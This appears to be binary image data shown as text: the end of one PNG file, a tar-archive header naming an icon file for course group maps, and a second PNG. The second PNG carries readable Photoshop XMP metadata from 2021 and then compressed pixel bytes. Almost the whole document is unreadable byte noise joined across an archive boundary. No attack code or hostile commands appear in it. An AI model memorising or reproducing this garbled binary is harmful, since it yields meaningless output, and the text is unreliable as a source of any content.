���7�=\��C�<]��9՝����~m���bE��`utE�����v���Ke:`��6�m�z���h��V�=&�A��|V��6�1
iF{wb��O�r���\�q��߆]50�m�����;^u�)��۽Ǣ.ތͶm3�t4�<�-���7���^_�䓧��k�W~���;��E�~�x��b�l#�<�	�p�?���+)S�7E�0	q�TsN��K�*�
��
�!��W%��8�̉���9fzU��q��u���报?��֮]�q�ڵ��Rn�~�
��_�B��k>��E�~�մ_Gf����Cÿ(n��s�	����9W��i�c��ڸ/\dȳ+*����P2#b@Ҕ���r��Օg�5������㚞�{l�����EĬ�浾��s����wn��}��o�Q�Z�3�7p;0X��ib�@�����Q>X��UT�ꀸ	!�y	�`���������c��=�W�h��#�<������ߣ
*{R��@��(���k��b:��§������o
�s�����=�JvDB��
�Ń��~�t܉{����z����`��o�s�����s�[���T,~�K�8���a��(\L�7�O��@��U�N-`�
�ݛ�{4)��A�04Y���₂v�<��G
���'?���o��1�<2����{���N���?��p��^��W��&��	�W��Xͺ�V�1%s;�wT1!��!�����S0V����9{���{@����@go��<\^��ݭy|��m?�����[��9���(n��8
ֆ:����9��A�L�ݢ���t��D�))};�d
jօX#dED�P���8���|�˷��ɸ���,�;��Qc�6�p��iX|�U�nP��<��x�K����&I�<���f]Ӣ�t�
b@�*�b6���@b�}�mf������L8��K�
�!���s���*H|�.�#z��
�wl����1ŋu����y�ZRF��{�y�b��T��"b@��E'aq>���dL��t�"ԣ�;&��L�M���\��(}�K�Նm0i�疩�]��zW�~�ySX��V1}�M
BZ�	܄�j1z�������,�`�fR�
��ᱸ�����
�{0���zmr)��
������nC�kxV
@UY>[hJk�$J�����֋�xɖ@AHk�9���?�]�߀11B|h	�\�
x5�������I��4��K"��pLz���&A���.�Q�A�C�.�U��.��X�Y��@��A�?�c�jn��{waJ�
����q9�l/��g�O�֋���A�p,��<���������;��!S��@�]P�^�ӷ�)e!��
e��a��
;��XNnA\��9p:&��eoԌ�x:�Cu����
Upv���e�=A��XN~Zg������i�+�G-����A�j���
�%ML:���`jΣ�Fk��I@�@�>O��P}�<��BĀ
B
\���>lS#�^���t���9O�Q}�;��CĀ
B
d�bwx��ִ�
x�*�#Kz��gYb}��nP=ebj|�=A�����Xm��Ӻ?j)���6���s��r���8���c���+"A"���{O��m1%�_�����̌���2a�=�S��3�J���&A��P���w#,}�E�v���w�	�L�i]Q���N�:0��@Ā
B���E<��㮻g�?���j���b�F$���`��XK�����3�Cˆ�@��\���[<}�Z�M��9ob��2�:���	�>yx���܁�d�}E$"A@o_��8������n{�`��#�DAsL���1m�6�@�:o�M��spBՈA�a�����)XKm(v��w��1I	�z�U�sO�F�;�|�����ǯx�셒��	J�~0A�(^�3�'�#P�0��0���dLbB�����h��c���V'a
%��67TR�����xɖꢂ D	؈��;p
C������1w��i���(�T`8��x`�9X�]�ݷ����iN�>O}�
�ÉZk�&A�6�Jp,��n(���>����nvǸN���1厓��a��@_�+@&,8k�8���h�
uFĀ
B鍢7���(~A�zw�7����P�6��f��EqrE�1%����	
P�	5�D����:,} 逸	7�
�G�#n�g�������}9k�<� X
,�2�7��`L�=�^�L��A�|0k(*���Ga����Hc�:�&0n�!>�E�z���f�Y�n嚒�a�a����?��;!�
�ۀb�hF���R���#FZ�0+��C�}��zaI/��P�؝�B���+OD�؎�A�M.0	w�Ǹ�S�����,hWa��
`Uh��������	��S���[`��)�uv�|��V
��A���N��0<E@YDH�
B��8���X�V�K�A/�w�,t�*t�"�pͪ~'`f��J0V�\�����-�a��ڌ���)�)��A��*c,���P9���7��Ot�t`)ڻ2
оbh�&�&�/,
�XȀ�YP�U��w@�;�|�Q͆`uni��4DĀ
B���Z�G��`w��տ�qtCV�B�AH=�����B�H9bAAHsD�
B�#n���xA!!P����Q��]4��T�d!)1��1AHI&ڰ�EK�dQ����#�*uH1�Xe:AR����1��*s����*2Ub�a��
�E4&/�E�@����I���bL�nAAh��{�$U�����
������NRI���!� �� �AD�Ty����
������� �M*��7�G�=A!%Y�@�Y
������{� BJ1�X�qĄT�F?�y�
Br����X�����UJմ_&0
�ft�b>��#04ރA��\�WL�d�X��h|��J�ֵ��vEt!�:�#A!���+>X�8x�
��
�b���,{�ֺژ����! �
�Bk`<ps������H!6?k�<�L�+&�(3�c����g�j7�.��K+��=���0�w��{
� ���p`^Un��!
���
$��tRD�L̜�w���A	��p�N��
"`*�m
B����]�2pZ܆"B4x1�����=A�s��@��"Bt��DHJ�~�$g(/��i
� D'���@� �v�Ay1 5!��%������
�i��@�E�P7΋�"��x@����X�q�%��{�ppX�!�v�Ay1�[\�!B4�3�&L��g�=A����3p<��
���kL�x�Ŵ=
t��XA��	Z�ʊ�7�A�t`���:X�Mn�ӀAAh\n%@XU��/�AAHe��������ct�
�
ĔY��@1P�k!�ĨAAR�/)#�T%�t8p1�.��A!Ƭ���SA@�1���ƴ�lAAH|V���U�T]�@$4k�AA��('AAHO��A!M1
� i��AAHsD� B�#b@A�� ���A�4GĀ
� �9"A!�1 �
i��AAHs�PVˇ��IEND�B`�assets/images/icons/course_group_maps.png000064400000110146151165724360014705
0ustar00�PNG


IHDR,^ɰ)	pHYs��4iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
xmlns:exif="http://ns.adobe.com/exif/1.0/"
xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"
xmp:CreateDate="2021-03-08T10:31:22+03:30"
xmp:MetadataDate="2021-04-19T12:59:06+04:30"
xmp:ModifyDate="2021-04-19T12:59:06+04:30"
dc:format="image/png"
xmpMM:InstanceID="xmp.iid:3e2e2748-baa3-eb41-a629-3e71edba592e"
xmpMM:DocumentID="adobe:docid:photoshop:6e40bc4b-972b-e949-923a-92f90e2b2382"
xmpMM:OriginalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"
photoshop:ColorMode="3" tiff:Orientation="1"
tiff:XResolution="720000/10000"
tiff:YResolution="720000/10000" tiff:ResolutionUnit="2"
exif:ColorSpace="65535" exif:PixelXDimension="515"
exif:PixelYDimension="300"> <xmpMM:History>
<rdf:Seq> <rdf:li stEvt:action="created"
stEvt:instanceID="xmp.iid:9c2e6c2c-3107-b942-9911-dfc136b5d226"
stEvt:when="2021-03-08T10:31:22+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"/>
<rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:c160889f-53c2-914e-93a2-1265e0eeda00"
stEvt:when="2021-03-14T17:57:35+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:06f710f8-2357-b742-9ac2-60eabe951945"
stEvt:when="2021-04-19T12:59:06+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li
stEvt:action="converted" stEvt:parameters="from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="derived" stEvt:parameters="converted from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="saved"
stEvt:instanceID="xmp.iid:3e2e2748-baa3-eb41-a629-3e71edba592e"
stEvt:when="2021-04-19T12:59:06+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> </rdf:Seq> </xmpMM:History>
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:06f710f8-2357-b742-9ac2-60eabe951945"
stRef:documentID="adobe:docid:photoshop:d526789f-ac79-cd4a-9a0d-16d02b8f7148"
stRef:originalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"/>
<photoshop:DocumentAncestors> <rdf:Bag>
<rdf:li>44255DDB773950C46F80D1450CF0DBDC</rdf:li>
<rdf:li>87FEABF05939505235737EE42C246F67</rdf:li>
<rdf:li>B3D621D2ABBE919F83ED6C409EEE7F0C</rdf:li>
<rdf:li>D16B72E9DF0C6D65519F995D1857825A</rdf:li>
<rdf:li>adobe:docid:photoshop:636401db-6a2b-ad43-adc7-81e60bf44485</rdf:li>
<rdf:li>adobe:docid:photoshop:957feb56-ceb9-394d-8901-266a5261e4e4</rdf:li>
</rdf:Bag> </photoshop:DocumentAncestors>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?><Ո���IDATx���w|e������fR	!�Ыz�H	E@��w�������ݳ`������P�"J�@BBBKo[f���	IH�$�Y�<��+����<ٰ;�y��!�$I�$��R}�I�$I�|K�$I����`@�$I�9H�$IR#'�I�$Ij�d0
I�$I��$I�$�����$I�$5r2�$I��F�\�(�lG]���,I�$I�(��nD]B4�cw�&`"�#�$I�������_h�RT����/���!�$IR������x��Am��@o_7D�$Ij0
��f��!����P`
2�$I���z�_7“b0�%p��!I�$5X�@4p����!D�ZZ8H�$I�<��FxZC
��u$I��F�j����I
)��H�$I��?0�׍���|�I�$����xRC	Z���$IR���xRC	$I�$�.Y|�O���$I�$5r2�$I��FN�$I���5�n��B

"c�����E?K�$�7yBp��>'��ER���$I҅K��1�s�%���e+���T�)<&C4I��O�T-��e���*��<%��̗$I�d0
I*{��Eߓ*jg�@�$d0
I�KI�H�$5|Y��o�F�-����pa_�����A�c���T
�G�j!��DE��w@݁=5}r6���$I
�R�>�mo�{)�A�{��hT5��@�
��C�7/a�9xN͗���&O��!�:I���`J����m���ݨj8\��ͩ0��m08\7MkXd0
I��0%�"l6��!lY�_�o5�
�+�$��!lہ+���\2�$Ijx�/����ϴ�oz�E�o�mk��%l	\�Wd0
I���$cL��ٜ���g�wk�w�0z7�y�$I�T3?!lz��-ly(�x��x�@��́N@�Z��4��}
0-�v�
`I񊇚�T�/���hc�"�I���g���"�
�v�-��\\���<�&�s�`%��=�`��y��c42�$Ijx2k}a�V�6'�
X�b}�ps%GK�|��U��O�6U�����qH�>D�FDz"+	a?�ȃ�<D`>��~��f�
䪀�CP
#@�"z��@1DQ������1H��9���L¶��b]�D��c
p;�V�\05d����k2h�N"��2�?�#�p�1��a����

؁���7�]��ySQ&���F9�1&(I�����Ww��s�&�L���G�W!l��K��9�-����`-��'hg"N!���W��뒓1�v˜�s��r`�0��4s}5�H
����f�E��Y�
�
{8������!^��%�q��b}��.yO��(�9��R�j��������c2�>	�#2^C;�3z�<#J.��ֹ���cz�r��OW�_80�1��b;�����!e2���1Bi�`H�T{����u�b���ח=`|�\�s�K�6^�MP��@n!�F;�:�~ѱĶ`.�c�O���Ԟ?F�>	cr��
Ma�����6Z��m����#l�ur6�z	�H&���=Ū+1�*��Fm��`���3��4�ԏ�[�
�p6�-�5F@��{��1�y=�\�
���z�e�#��/(I
���_�k,�'F/������UޖW����]2(�`@�2<f��Q�G?Fo�<7`��=�8��.����z,�V�c�bn�T�H�����a���k'�5���*�mư�n�.���P���l�$p��$H���Z�Xs�5x��:O����y!���;�o�C��E:�%ˀ�]��������YaJySK?�W;H�TZ>0�H@�θ�,�
������v3�Ew�ʠ�1&��!)9�_`�/:Ř����u0��0Ե�B���+)V�u�ˀ����z^	2��@1E��fz�M8-Y��t�1�}_H�Gkk�<��V8�f�ը�_%�6A�^�r/��cE@ټE��kp~��u[�
�\�V�%����(�`�d�"��j p��<0
gW
��\�HV ��3
��o�v�qv�cw½�I���1&�UN����p\Q
5������9AS��]����1�x�����m��W�wƨ�F���]:T�~�=
6"�[�P�@O����Ԉ���ʃň|e�Uf���X�`�s��Z���]��Z`�٭��d7c�@c`�}�+4�	g�Kq���DvIj<Rܬfأ���H\������֍}�x>�J��y�b��Oѭo��1i4�j\�0~��۟�}�c?�q��풤���"�.Cv`d.��\�%=y=�X`FFRk5�	�}lx��a�''b�^!F2��
�q5N�o��һ��>O=�cC����]�#�{��Fm��7-I��ss����cǘw��a�_�^��i�)j~ӹō}��Y�!�!{jG���;hy�p���1���@���@�@@�t��Eۃo2+JR}�n�o1ꑔtc�r�m�6��@@��B�n������BU�p?��*!����h.<��3-P���ˑ����b�N�g�z_�s��u�%�"=Q�]��ﯜ�|;��t�7�(¶���8��>	��6�.ƅ~g%�0c9Te��Hn�]�5����g��������:~�����G3a	�\r$Ie�q�I�g��;F����Jg,l�(����+�����G��|
��RI&�M�"��T%g�v��Jɞ����` 
��q�rv`:2��1^7�2��pF�3I�J��+s_En�X&}c�w(��(ֹ���U6a{Rn
`�#����r�s��|�uFUT�dBj���cu\�����;b,ɹ���n��a�&h2u�2�Y�H������9�X�c��b$�ҵA�
lj|V����K7�XM�y�.��	Qα�Ľ��J��2aM9�`���8�;F��j�w���'���qA�!����C����`�U=�c$8+Iu]�ϧX��X�B�N-g��b}c���=�����<���w��X�F���F䜁��X��Yh�>F*�Z��_R�-�x=�z�.h	����׍��}�
؎`5z�i�&`8*�Q�B׺��-�o]�712��T�Bn��,���_��b�܍1��
8�b]\��0�D���F��V�by
M�+(ֿ�P���7������c�B?�8ZQn�0*yI����sh}z�$]���6U�^�����}&���Dޫ�(�@�/��R�nF�&����|��`�O��%�7Rzl�5��c%�U�9&�dD%�����~E��Cز1���`_��d0P=	�!���3Ե|�%�OW:�@;�ѿ�����^(�}ݨ�$!x�/]I�pH�6g��<(2���n}�I�&�wf�����?�����]�X�~b��3A��_@�T�DH�{�jA؞u�\r~�F��1U�l�*8(��e�e��i2�p��*N�$Ղ�g��-�8�Fd����=�}t�l8�q�N����'^A��]~T���i�\�`�=wϚ���s�x�_�=-��o�᧙cV�՝?-����rC�B�NTf˷�T�gP�*�4�/ЅKv�Ry�U���<0r��Q�t��ϑ�IN
t��3Y���q>�h��l�z�CH5#0^���2ǀl�6�|Y�d�<�F0>p�U�]�qC�w��^?�ձ;�s�+ߞ����ݶh��6]s�즪Z0�q89
��I���B��L�ϣ��?����x���nLC%���[��Rߢ�������df�����z�W!���\�>�A,D��V����z�g��#��n9U?�b���ک/��_.�i�&e):}p�]�9�0J?��Yb[�a6_;���&�}ښJ�u���
n���	d�����k6�=8;�!��9����A^ѷ_��V,�t��^��s\��m߭Y��1�.0Aa?H
�aۃ����	���_�}���¶	#�X��Z�@�AĪ	<���6��F�k�?�<�������ի	
00�'N`2�		�M�6��呖�FNNAAAt�҅��
IOO�����D�֭�����ٳdddJǎ���dddp��I���
""���|RSS���4k֌�M����G���Dedd��u���i;���F�l�HM����v/���XҦM�������[����(�B˖-ٿ?͛7�n�#��iӦ�:u�V�Z���Enn.QQQ8p��-[�t:���#22�-Zţ�>Zۗ��ׁINu9�#�<�J�F
�+q���/11	�����*�7w����n�
gzFsK�4KPP^�~��'��X��:��F�ES�1��O?�7�/�q�'b&RN,l�^A��$lϡX���R.�8�K�$l+Q�a�J�<DU����Bt���M1>�o���i+���(����bA��lFQ4M��Ϗ8y�d����'O�윟��q���G����H��P�9222zgdd�>z���ݻ�`XX�r]���5����,˅��R�X���k��Q��1�q���v폼��wÿ����������^{���+��yݙ��rV�Ca�-�Ǝ��3g
"��T�oe}?�/1#�~�yӰ��X$?����r��������
X|ޣ�6�z
ƲC��'��9���
1& ���
�TC��^UUL&f��ł����p8"�����߿�Cfff����.�����Ng+���t:���+//�S^^^����[-�鈈�����m6�r�ɔl6��4�B	�1�/ރ��t���A����io�����>�}I��|O�z��+F��_i6[
���Ġ`��r`t]m@��8y�����ܹ7=~˭��������ٯ��g�ȣ��<��n�|
?�����6S�rBAɄC��r���xh/g���
��3�a;SA[�XaP~FD�Z�@�j]��M4[*"�"��+��]��f3&�	�Ʉ��Ew�-rrr�fff���l:�-++�s^^^k��޼�K�.9�橩�����^n2�
��Ҷ����Ҽy�?��’�f�n6�QU�NWy��
]@[�.�:
ҁ7�	��{�{��wu,7��UY���|okt�ߌ�}�P�
��������yU�-熮\v��wv���Sn��U���O�pAc����-��@�Φ�`��b-���@�2���kZ�}�n�A��%��[�>oW�[�V�z��
���&����ꊕ<�V�)��G¥���oRPP�����ٳ�O�:�*77����Q�v�ꘗ�׺��0��t��]���:ujĩS�F8p@���n�o2��kL&�1
'�0���E?�i_��
�N<��7��t�w�,(o��郷����g{�W11���CQ��܃����������]n�*�5�ʷ'm�mԨ��X1�94>����ʖ~����_9�"0�T�
�ύv�T��T���2��	�E��9�ၕ�����;v��5yyyc��ӻ����������{����������;��l�jڴ�悂�_�v�2UU�Bu!~Ue�F݇3�u�V8�J1a6��:��_={�>Wfٲ4q{ώ(�0Uͻ�(���)8�������O�J�ֲ��u֬[������B�.n<6W�U��]9ܹ�{K�r���'Ɛ�dž=+���b���wx�\��RKv���&�eggG%%%-۱cǗ��)++�₂�
%(���=}���͛7�����mݺukw��Tnn�P]׭E��)��{�B�;���>q���<4v�%�^|^v�G�����m�zu�a
P�
�1��U�vv}0������W���7�wJ�6��<��~U�u�n3�OG&"�T�VW�w�l�F��e����
),,�f������?|����h�l����鋓������_�t���;v츧����τ��eNx-ի'sY�

G�2㵲��9��/�n���`�q P�
�1���-\x��nZv�1��ZSU-��L%D��:�q��ysM����~���!�/(^G+�={އ��Ç9|�0Ǐg�ҥ7����\r�%���fҤI����e�/B�������1���U�o�{䗮��q)��ӡy��[�����ۿx����
��1zkƢp*��C�z���n���)�EDd��yn�b�u����GA�2�x���gs��_	����CCC	#88X9r��-#F�`ɒ%<��,X����$�Ν��w�M�Ne'�6X�}��4hTϞ=�0�5k~l�
�	o�k��bۿk�rk
,Y����<���ߕ@s�ʕW���o�.���`�1��tI��vC�p��}��;�Z�d0�o������ȑ#�ٳ��ٳg{̘1��\F�v��q�W��}�v�.]���w:t��ׅf͚1t�P�~y�E�_�~�>�����U��!��/N�ڵ���#�6�<�j�|��.����O��7�D��(�y�m���<��c+{���e„�J�OjКP�*������ƪ����y�-��<,	��E4Ǩ��}y�������FJJJ��n�����bAAA�;�w�y��۷�`�n���z���Я_?n��F�~�mV�Z�Ν;Y�~=o��fQҤcS�Ly�[�nX�Fe]����D�u�
�:W������&ClذaX�G{�dz
9�o߾����U�ꃑU�aT	����R�G��n�7<SQ�ѓK=�C�\
cYN��4ڶm������c���t���0i�$&M�DNNk׮e޼y����<�N�q����}����Ջ0p�@���i۶m���,X�����?Μ9��t:	�d2q�'���dz`���ɓ'���b/�-4`:��q^յ��_0�K�~�~�e�K�m���P~�8�AI�H7\��}��}�b�^���wF�.��E-�ю�0R�Pvɫ������21j���3x��A+�����V�6��	!�oƜ����f„	L�0���\V�^�?���+8tȫs��y����у�2h�
z��E��w/Rvv6���4i�d��={p:�řpgȰvJ���%�Q�LUFх�b�u��vk@@����he��9ϫ�ԤI�<�,/�[��$[?"l���Q��q@�`�V�"�k8���8wm������Y������
W;?B�ܯ�*lo�X�b,�T��O*&�ڈp�C(�䛵�7n�8TU%???c�����#��ٳ�:wPP'Nd�ĉ���{�n/^̂����Q�QR@@:t
::��ҿ:u�Ddd$���5>nAAyyy>�̰að���l6���KVV�^��)��f��I���u"]�+����,������(�!h�6�#l5��"l���lO6��ΧXo�@�^(�<�Pj�é�h��:�d��+�^�j���}�~h�D%��!!!(�B``�������]w��M\\�G�ȠA�4hO<����,\���s�u��*'橪J۶m�袋�߿?�_�~�k׮�$GO��������IMM%44�+�*I��(,[�L;v�\`�W�A��t����)]0�W
l)>k�b}��r�@�[��
���jH����^t��[e��ff���5==���ŋ�9s�W�էO����#�<�֭[Y�p!,`���8"""�ٳ',��ܹ3AAA^iOI�������nݺ`�Á�nt��Lu�+����E��3W
Z���%ɻ��q p/F
����:;����b��Pg�ld0�!����(��C++�W��ʶo�~��Ç�]�l+V�`���^k����=O=��F��E������y+��:AAAdffޘ������400��鬓(9$�
(HC�=����e"�_G�em��A�����Z��<y�sS�����;Ƽ���_˻���(ڴiC˖-������p8��_���̡C�j=�_��mxxx�YYYl߾�?�����o��ߟC�QXX8`˖-nܸ1)))i�ɓ'��4��]�����׏��/^\����%ɋ~t���=�:#Шd��������<�O�B�LXU�����'++��;wҥK��1c�\5��eiii���vM�4�cǎ���Gll,QQQo��f��ϻKtϜ9C||<�W�f�ڵ$''���Z�w�$Mӂ���&���M.,,|��7ۧiV������������ٓr�T���N(���\?��oP�]�W����*lź�Xg��d0�!�)^&Xe0`6��X,*{����(UU�{���ٹs';w�䣏>"44�0v�XƍG�>}<r/,,�I�&�>NI���$&&�v�Z֬YCBB'O�t�&��ѪU����nhݺ��֭[﬋�	%\��f#�$/s�M�)��)F��[�l���Q(�;�:��R�%Z��<@!�*�W���(���vONN�����"!D����,�/_����y�'�ѣ�F�b�ر���Һu�j�Y�4�999l߾�U�V�z�j�m�FZZZu�|��c������2222��r�<E��_:Di����Y#$�sj_hH��U��+�0�r�i��"*�x�;���y�6�@.��x�A��4�|�q�<���?~~~��iUe	!ؽ{7�w�f���4mڔ�r饗2v�X�����ET�4l6��Ɂ����k�.֭[��ի����Q�@��JLLӦM{��|�Ħ��3g�u�4MC�tUUS�IB4�''J�S4����x��1!zƝ����p
0�̰���"�g��Q�?c�@؂�lH�ȹ���
l���r��YP
2�D���J����L����ؾ��.55u��f�(J�ׁgdd�l�2�-[�c�=F�^�5j�\r	�z��k׮�.��4
��Y\�"iii�߿�-[�_���YPߢE��~�������:q��]tQ2�f���M����b��l�lA�`@���>������	�0R�*��j���#��-��30:XC0�����6X��7*2�-�T�`��,_E}��|&**��Q�F���7�l2dH�3f�r�J9x�
���n�C��;رc�~~~t�ޝѣG��_L�fF�l2�����%�IMM%!!�5kְv�Zv��Azz�����d„	k�N��`�ȑK"""�y�����z�*��d���N����3����b?�	#(bŨ�
�E�SP������+�A��Z������$#��Y�
�L&TUEA���iժ��>}���s��篿�zn���?~�ݻw���@||<III:t��+��v;III$%%��;�ЪU+�ʸq㈎�F�4�v;k֬a�ҥ�\�����Z]�Z�h��ѣ�6m��1c�|�-p^q��A�#2��/+�<0���T���})���5|�Cxb�D#"�HAM�?��ǎ�n�@^^��������ܪU����8E!**���(ƍ���c����ٺu+{���رcn
/������?���?c6��u���z��_~�ƿ{��-[2f��M���ѣ�7o>��]�׽��2�귫Q��"l�Ūs�n^k����b݀�-�ֳ�-���iR�%�H;W�;�:t�ٌ�dB׍�����9��y~~~��у=zp��W��߾};[�la˖-$''s�̙J�P�Ԩ(5rMDDD0z�h�O�Θ1c���؇�pdN��{��6�;��:j�fY٥�z��xasT��b���¹��y
�s;
P��a�R5�`�2)^P��%::���<������C����[�n]Vvvv��@y����۷/}����o�ԩS�۷���$���ٷo�w�����&�qW�޽9r$#G�d��ѴhQj1x��V'�3Y
��٪�|D���I
��a+}ӢX;a,�{�|v��	�(���¶�ܽk���R
4�;_ȇ��d�&���f2228p�ݺuCQ�v�*��Hz���H"##>|��6�瓜�Lbb"���$$$�o�>�rt�ޝiӦ1e�bbb*Jx�
xFQ��u�]���������4M��MB���_U�Ж껡��@*�u=��q���1F�23��Q��;1ޣ*�r��@d�[2��\��ʻ�\�����d�f����ANN�"�i޼�W�ؤI������o��-p���l۶�M�6���@rr2999t�֍I�&q��3d�*;�q���4ƺ��$��d����@���*�����_�ƚ���q�0h�Za,��B�|݈�J���H��}��d�d2QXX�2--mTNN��@���!�b_xx8�f���q�|����|��|���4��C��(ʷ�lN�]J4��t"��iF!��1�%{K>@aF�'�x�~�?�Nj.�-oߟ�	X��G��
I��|�{FQw�[=���222b���sKNNΔ�����m��w�>����1�A�ѩ��	�j�e˖�I~��N
N�bt�F`d2��E��;��A��9��b��=v�#tZ��Y3���_>��*������������_�MOo-K8KR�"��p`�ǭ_����Qv[~~>���������H�=<x0���4�^�zy��P��'��*���NJ�TgI��:ஒ*
�T�ުJo��tZ�:���$Y��%��v��{�B�ŕ��d�6��W�D��o�s���^�Rճb���u���7����Q�LV9��FA�@�0�&@�	�M&�S�L铐��C���l߼����H�Ν4h#F�
66�=zx,8(:NA�[�ɾUe�����1`\a{�L�RUF)
4�����H|���y�f���]�lgX�n�t?Cc54�7�׻�Hɡ��fs�E��u��c��-^v��?�s*�bƻ��%I�z�Aw!RAw]�ܚ}ޯ_?{jjj����	59߁8p��}���ЩS'bbb=z4Ç�[�n5��WT�ȍ`��C����WjӮ&W��\���w:�Tp�/�b6s��ļs=�c�43gfw�7�a�7�T�R?(��W&�d�kh�ɓ��|��W�{��u��������bΜ���3�o��o�z,�y�ݒ$��<�
9��Q\��\�+V̲��A���<��t�Ё%K��t�R�?������~��b�k׮<��#G2x��jE��Hy�Fű�a�0/
g�p��2�᠉�����)��0��ˁ��<e=�Õ�B�NR�p��(nx���X�N�f����y������~g;�z{��~�Œ[��k��p�I��Ԁ�w���7�@��AǀӧOx��y�����k��Λ7�?��í<e�ͮ]�صk�}�Yqp0d�Ǝ���ԩ�Z�XpQ�`��+<Gzz:�7o�}��r�<�Q�,J�Y,�TFWr���)
�$m�DODSE��NE!C҅��(�0������j��e}���YhD@�S��p�oO�Z�cy�ߩ�?|?29��s��Z܉�9�#C�$���p(p��tg��۷�h�f	

��+��iӦL�>��ӧs������-b۶m�.q\28���O�[�n��у0l�0z��MXX@qC���<Ȝ�6l����֭[ILLܓ������lb&Z,<�(��AP�:��1]�8�i���*�Z�L�u��0�cM�,U�jb���?]'��>fT��-Zzp�`ѫi2g7k��S��>@'r��g<�uo�����3��ץ�z�,\�&�$5(2�(y{��ȶ���رN�Z�"2��Y�f�?������ϲu�V�Ν˂عsg��ZXXHbb"���|����iӆ��.��R:u��lf�޽���c�…�Y��#G��<�!D�҆1@L??�&9P��<��f��R�O84.��\�-5�X�T��M����N�.nƸÿ�'V�-@�Wd�:,f�6�^����5[q�t�5k��b�koԮ���i�����M/]����
Ijpd0��P�Ʒn%����t{,�d2CLL����ټy3,`ѢE$&&֬�.)))�����/���jU���y,
LQأ(�m2��a2�Q5
!ר*7U1a�<}l����JIV]��6�pU��B]�|
���!:tDq���.�c��q9۷���
���W�ݵ[Ҷ�6�
�W^��6^�H��
�w�D	t}�՝�۴i��]zQ������cذa̚5���x֯_�O<A�>}�}��TV��UZyO9�v�u8�]����w!���`���H�+���-���HӠ���S�t�3i
��
�Px�����5�on�+%%"��5V����~�[[�)S������-:5�s)I҅J�x�P���oݺ������
??���j*,�l63t�P��SO=���?>�/f߾}�Nt���t�҅�����G�;w>Tή�VEA=LLv�����kk�Ʉ.M+	J���,��u��L\k���?,��|��Z�ks������F)�3�����E��
�;>CgN���w���������?o=��#j8*Q4^Ӷm[���TS�{��w�Xtvr�a$�����tGi�@�0��s��\]�tٳm�6q��i������#�X,��g͚Err2+V�`޼y�[�����
�k2�h׮���DEEq��q�N\\ݺu+[���%e.i�k��5��L&�ͼ�i4�ZX����?<P`13�b�|�=��ɗ�~,�t�8J��D8�\�ğ����	\,�
�{�vhc/(p�BXV�pA�V�]�����7����~��~{��?�kn�A)����4<���.�U�ƺ)6:z끍�֠s��T��E�BP$ʁ���`Y����&M�����`��%��fz��IϞ=���9t����租~b�ʕ���ҧO������ׯ]�vu7�af9�i����Z�7��&Z�<)`��sҕ�`���o!�L/'Xj��Gn�>�S�o+�-
�J��.]�=V�0N��w������SR�g��C�n�O��Χ����������pnn�5��A�@����Y=�����Ȩ�=l�w���b�$�
2��(�s��aT!ζj�������r���ӱcG���cǎ̜9�믿��͛�������0z�EU�<77�����\�V�Y�5�8���6��6�����x�K��S;4��ڬ�Z�pCqﶢ(�B�8���@V^r�%���l�f3BT�v]Q�Z�>8v��ߌxr���-��>Ȍ�\	�X
$�w]��t�c����Q�.���o5���{*I��<dj�\c"װ��u���СC��<y��=��èQ����.��
���!��8�FRu���<�
����$U�S������T�#��o#x��)�A�c�8D�sl�.�Ew�NG�7�U^%������k��ܹ3r̘1��K*�`�r��d�G›���2�s��1L��|�M�Ƀ�.��]�r.�aԨQ��dπ$58r��C&��b\P�������;�}�Z>�
111��ߟ��,X��'Nx��E�kp�,�v�u��v{Q�97���*~���*�<�x\-�Pu.��^���1N2�g.}n�N\C����n�lRRBZj��P�^'�!:-T5�Y�f��S񄰰��~͚�؃�$�A�����G�4�c���/�OTTԻ�:u�2""b�����]�v��o3e�z��ELL<��-���7��W�Y���@yc�����uB�
�U��Ͱ�~	���<V+j�����Y��>u��-�'�\�ʼZt�e��\p���V��-m��]w��$5(2���\�^VվB�N'?���
8p�޽{?�	�E(33�-[���o2i�$z����W_͇~Ȟ={jt�,
ʬ������<�`����=Xξ�R/�:�Q��r��cW��^�ńI�$���3o'ge�OGe!f��8f���M��ڭ��&A���e0
I
��3�A���,0�p��Ǎ;KM��u]n�ر㶶m��������;��ѣ�����n8u�s��e�ܹX�V���=z4cǎeРA4k֬�6�&�N0`��HJJb����^��-[�D<x^U�$����V�U&��Z}/�EӴ��\�q\Xpax�NZ@@�e]�U!�IUU�f�YϜ9�\�u��L߸s�n?���PxS=�%6t��W�zT�
�Ϟ�l鵫<R7��$��`�������Vh��QR�-���p8�u]4k�lK˖-�DDD<k�X�'''O��ə���5P�4�-[��e�^{�5Z�lɰaø��>|8ݺu+�<Es*�v;{��e�ƍ�Z��M�6�wo�b��E	/S�
